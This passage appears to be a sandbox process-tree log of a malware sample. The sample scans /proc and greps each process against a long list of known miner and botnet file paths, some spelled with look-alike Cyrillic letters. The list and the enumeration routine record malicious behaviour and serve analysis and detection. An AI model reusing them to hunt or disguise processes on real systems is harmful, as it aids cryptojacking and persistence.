  grep -q systemd
  2⤵
  PID:1117
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1119
- /bin/grep
  grep exe
  2⤵
  PID:1122
- /bin/ls
  ls -latrh /proc/387
  2⤵
  PID:1121
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1124
- /bin/grep
  grep -q systemd
  2⤵
  PID:1126
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1128
- /bin/grep
  grep exe
  2⤵
  PID:1131
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:1130
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1133
- /bin/grep
  grep -q systemd
  2⤵
  PID:1135
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1137
- /bin/grep
  grep exe
  2⤵
  PID:1140
- /bin/ls
  ls -latrh /proc/430
  2⤵
  PID:1139
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1142
- /bin/grep
  grep -q systemd
  2⤵
  PID:1144
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1146
- /bin/grep
  grep exe
  2⤵
  PID:1149
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:1148
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1151
- /bin/grep
  grep -q systemd
  2⤵
  PID:1153
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1155
- /bin/grep
  grep exe
  2⤵
  PID:1158
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:1157
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1160
- /bin/grep
  grep -q systemd
  2⤵
  PID:1162
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1164
- /bin/grep
  grep exe
  2⤵
  PID:1167
- /bin/ls
  ls -latrh /proc/660
  2⤵
  PID:1166
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1169
- /bin/grep
  grep -q systemd
  2⤵
  PID:1171
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1173
- /bin/grep
  grep exe
  2⤵
  PID:1176
- /bin/ls
  ls -latrh /proc/674
  2⤵
  PID:1175
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1178
- /bin/grep
  grep -q systemd
  2⤵
  PID:1180
- /bin/grep
  grep -q deleted
  2⤵
  PID:1182
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1184
- /bin/grep
  grep exe
  2⤵
  PID:1187
- /bin/ls
  ls -latrh /proc/676
  2⤵
  PID:1186
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1189
- /bin/grep
  grep -q systemd
  2⤵
  PID:1191
- /bin/grep
  grep -q deleted
  2⤵
  PID:1193
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1195
- /bin/grep
  grep exe
  2⤵
  PID:1198
- /bin/ls
  ls -latrh /proc/678
  2⤵
  PID:1197
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1200
- /bin/grep
  grep -q systemd
  2⤵
  PID:1202
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1204
- /bin/grep
  grep exe
  2⤵
  PID:1208
- /bin/ls
  ls -latrh /proc/679
  2⤵
  PID:1207
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1214
- /bin/grep
  grep -q systemd
  2⤵
  PID:1216
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1219
- /bin/grep
  grep exe
  2⤵
  PID:1223
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1222
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1225
- /bin/grep
  grep -q systemd
  2⤵
  PID:1228
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1231
- /bin/grep
  grep exe
  2⤵
  PID:1234
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1233
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1237
- /bin/grep
  grep -q systemd
  2⤵
  PID:1240
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1242
- /bin/grep
  grep exe
  2⤵
  PID:1246
- /bin/ls
  ls -latrh /proc/703
  2⤵
  PID:1245
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1249
- /bin/grep
  grep -q systemd
  2⤵
  PID:1251
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1254
- /bin/ls
  ls -latrh /proc/705
  2⤵
  PID:1257
- /bin/grep
  grep exe
  2⤵
  PID:1258
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1260
- /bin/grep
  grep -q systemd
  2⤵
  PID:1262
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1265
- /bin/grep
  grep exe
  2⤵
  PID:1269
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1268
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1272
- /bin/grep
  grep -q systemd
  2⤵
  PID:1275
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1277
- /bin/grep
  grep exe
  2⤵
  PID:1280
- /bin/ls
  ls -latrh /proc/710
  2⤵
  PID:1279
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1284
- /bin/grep
  grep -q systemd
  2⤵
  PID:1286
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1288
- /bin/ls
  ls -latrh /proc/711
  2⤵
  PID:1291
- /bin/grep
  grep exe
  2⤵
  PID:1292
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1295
- /bin/grep
  grep -q systemd
  2⤵
  PID:1298
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1301
- /bin/grep
  grep exe
  2⤵
  PID:1304
- /bin/ls
  ls -latrh /proc/712
  2⤵
  PID:1303
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1307
- /bin/grep
  grep -q systemd
  2⤵
  PID:1310
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1312
- /bin/grep
  grep exe
  2⤵
  PID:1316
- /bin/ls
  ls -latrh /proc/714
  2⤵
  PID:1315
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1319
- /bin/grep
  grep -q systemd
  2⤵
  PID:1321
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1324
- /bin/grep
  grep exe
  2⤵
  PID:1328
- /bin/ls
  ls -latrh /proc/716
  2⤵
  PID:1327
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1330
- /bin/grep
  grep -q systemd
  2⤵
  PID:1333
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1336
- /bin/grep
  grep exe
  2⤵
  PID:1339
- /bin/ls
  ls -latrh /proc/718
  2⤵
  PID:1338
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1341
- /bin/grep
  grep -q systemd
  2⤵
  PID:1343
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1345
- /bin/grep
  grep exe
  2⤵
  PID:1348
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1347
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1350
- /bin/grep
  grep -q systemd
  2⤵
  PID:1352
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1354
- /bin/grep
  grep exe
  2⤵
  PID:1357
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1356
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1359
- /bin/grep
  grep -q systemd
  2⤵
  PID:1361
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1363
- /bin/grep
  grep exe
  2⤵
  PID:1366
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1365
- /bin/grep
